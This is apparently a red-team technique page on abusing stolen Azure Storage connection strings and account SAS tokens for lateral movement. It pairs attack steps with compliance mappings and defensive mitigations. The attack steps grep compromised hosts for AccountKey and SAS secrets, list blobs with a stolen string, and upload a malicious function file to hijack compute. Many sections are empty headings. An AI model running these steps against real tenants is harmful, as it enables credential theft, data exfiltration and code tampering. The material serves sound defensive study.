MCADDF

[LM-AUTH-039]: Storage Account Connection String

Metadata

Attribute Details
Technique ID LM-AUTH-039
Technique Name Storage Account Connection String
File Path 07_Lateral/LM-AUTH-039_Storage_ConnStr.md
MITRE ATT&CK v18.1 T1550 – Use Alternate Authentication Material
Tactic Lateral Movement
Platforms Entra ID, Azure Storage (Blob/Queue/File/Table/Data Lake), Azure workloads using Shared Key/connection strings
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure Storage accounts using Shared Key or account‑level SAS via connection strings (all current SKUs)
Patched In N/A – design/usage risk; mitigated through Entra ID, scoped SAS, network controls, and secret hygiene
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Azure 1.4 – 3.x, 4.x Secure management of access keys, encryption at rest, network restrictions, and use of managed identities.
DISA STIG SRG‑APP‑000148 / APP3510 (conceptual) Application authentication and key management requirements for external services.
CISA SCuBA SCB‑AZ‑STOR‑1, SCB‑AZ‑IA‑1 Secure storage configuration and identity‑based access instead of Shared Keys where possible.
NIST 800‑53 AC‑3, AC‑6, IA‑5, SC‑12, SC‑28 Access enforcement, least privilege, authentication management, cryptographic key management, and protection of data at rest.
GDPR Art. 32 Security of processing – unauthorized access to personal data in storage accounts.
DORA Art. 9, 11 ICT security and resilience; dependency on cloud storage as critical supporting service.
NIS2 Art. 21 Technical and organizational measures to secure network and information systems, including cloud storage.
ISO 27001 A.9.2.3, A.10.1, A.12.4 Management of privileged access, cryptographic controls, and logging/monitoring of access to sensitive data stores.
ISO 27005 Risk Scenario “Compromise of cloud storage keys/connection strings leading to data breach and cross‑service compromise.”

5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Using a Stolen Storage Account Connection String (Shared Key)

Supported Versions: All Azure Storage accounts where Shared Key authorization is enabled (default) and connection strings are configured.[7][10][13]

Step 1: Discover Storage Connection Strings in Code and Configuration

Objective: Search for Azure Storage connection strings in compromised repos, hosts, CI/CD logs, or configuration files.

Typical Patterns:

DefaultEndpointsProtocol=https;AccountName=<name>;AccountKey=<key>;
DefaultEndpointsProtocol=https;AccountName=storagesample;AccountKey=<account-key>;EndpointSuffix=core.windows.net

Command (Linux host or source tree):

# Look for typical connection string markers
grep -R "DefaultEndpointsProtocol=https;AccountName=" . -n 2>/dev/null
grep -R "AccountKey=" . -n 2>/dev/null

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Validate and Use the Connection String for Data Access

Objective: Confirm the connection string works and enumerate containers/blobs.

Command (Azure CLI using connection string):

export AZURE_STORAGE_CONNECTION_STRING="DefaultEndpointsProtocol=https;AccountName=myaccount;AccountKey=<account-key>;EndpointSuffix=core.windows.net"

# List containers
az storage container list --output table

# List blobs in a candidate container
az storage blob list -c critical-data --output table

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 3: Lateral Movement via Triggered Compute and Data Poisoning

Objective: Use access gained through the connection string to compromise downstream compute (Functions, Logic Apps, Data Factory, Synapse) or data flows.

Techniques:

Command (example – overwrite function code blob):

# Upload a malicious function file to the functions container
az storage blob upload \
  --container-name azure-webjobs-hosts \
  --file ./malicious_function.json \
  --name functions/myfunc/function.json

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2 – Using an Account‑Level SAS Embedded in a Connection String

Supported Versions: All storage accounts with account‑level SAS enabled.

Step 1: Extract and Analyze SAS‑Based Connection String

Objective: Identify connection strings where the credentials are an account‑level SAS rather than a Shared Key.

Example Format:

BlobEndpoint=https://myaccount.blob.core.windows.net/;
SharedAccessSignature=sv=2023-01-03&ss=b&srt=co&sp=racwdl&se=2099-12-31T23:59:59Z&sig=<signature>

Command:

grep -R "SharedAccessSignature=" . -n 2>/dev/null

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL – Eliminate or Minimize Shared Key/Account SAS Usage

Action 1: Migrate applications from Shared Key / account‑level SAS connection strings to Entra ID‑based, passwordless authentication (for example, DefaultAzureCredential).

Manual Steps (Portal + Code):

  1. In Azure Portal, open Storage account → Security + networking → Access keys and review usage.
  2. Enable Entra ID authorization for applicable services (Blob, Queue, etc.) and assign role‑based access (for example, Storage Blob Data Reader/Contributor) to managed identities or service principals.
  3. Update application code to replace connection strings with BlobServiceClient(new Uri("https://myaccount.blob.core.windows.net"), new DefaultAzureCredential()) or equivalent.[7][10][13]
  4. After successful migration, gradually rotate keys and disable Shared Key authorization where supported, or ensure keys are only used in tightly controlled backend components.

Action 2: Restrict and Monitor SAS Usage

Manual Steps:

  1. Enforce service‑level SAS scoped to specific containers/blobs, with minimal permissions and short expiry.
  2. Avoid account SAS except in tightly controlled automation scenarios.
  3. Use Stored Access Policies to centrally manage and revoke SAS where possible.

Manual Steps (Policy / Governance):


Priority 2: HIGH – Secure Storage, Rotation, and Network Boundaries

Action: Store any remaining keys/SAS tokens in Key Vault, rotate frequently, and enforce network controls.

Steps:

  1. Move all remaining AccountKey/SAS values into Key Vault; disallow storage in plain‑text config or code.[7][10][13][14]
  2. Configure private endpoints, disable public network access where possible, and enforce trusted services and Firewalls to reduce impact if a key is leaked.[8][14]
  3. Implement continuous scanning (DevSecOps) to detect connection strings and SAS tokens in repos.

Validation Command (Verify Fix):

rg "AccountKey=" . -g"*.config" -g"*.json" -g"*.ps1" -g"*.yml"
rg "SharedAccessSignature=" .

Expected Output (If Secure):

What to Look For:


Access Control & Policy Hardening


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Containment – Rotate Keys and Revoke SAS
    • Immediately regenerate storage account keys and re‑deploy dependent apps with updated credentials.
    • Revoke or expire suspected SAS tokens; where possible, remove account‑level SAS and replace with scoped tokens.
  2. Evidence Collection
    • Export Activity Logs and Storage logs for the suspected time window.
    • Snapshot critical containers for offline analysis before further changes.
  3. Eradication and Hardening
    • Migrate from Shared Key to Entra ID‑based auth; enforce Azure Policy to prevent regression.
    • Implement DevSecOps checks (pre‑commit hooks, pipeline scanners) to detect secrets.
  4. Recovery and Monitoring
    • Restore corrupted data from backups where required.
    • Deploy or tune Sentinel analytics to alert on abnormal key operations and data access patterns.

Step Phase Technique Description
1 Initial Access IA‑EXPLOIT‑003 – Logic App HTTP trigger abuse Gain initial foothold by abusing exposed HTTP endpoints tied to storage workflows.
2 Privilege Escalation PE‑ELEVATE‑005 – Graph API Permission Escalation Escalate to roles that can manage storage accounts or list keys.
3 Current Step LM‑AUTH‑039 – Storage Account Connection String Use stolen connection strings to fully compromise storage accounts and their data.
4 Persistence PERSIST‑SERVER‑003 – Azure Function Backdoor Maintain persistence by overwriting function code/configuration in associated storage.
5 Impact COLLECT‑DATA‑001 – Azure Blob Storage Data Exfiltration Exfiltrate sensitive data and use it for further attacks or extortion.

17. REAL-WORLD EXAMPLES

Example 1: Long‑Lived SAS Token Exposure Leading to Storage Takeover

Example 2: Storage‑Backed Function App Lateral Movement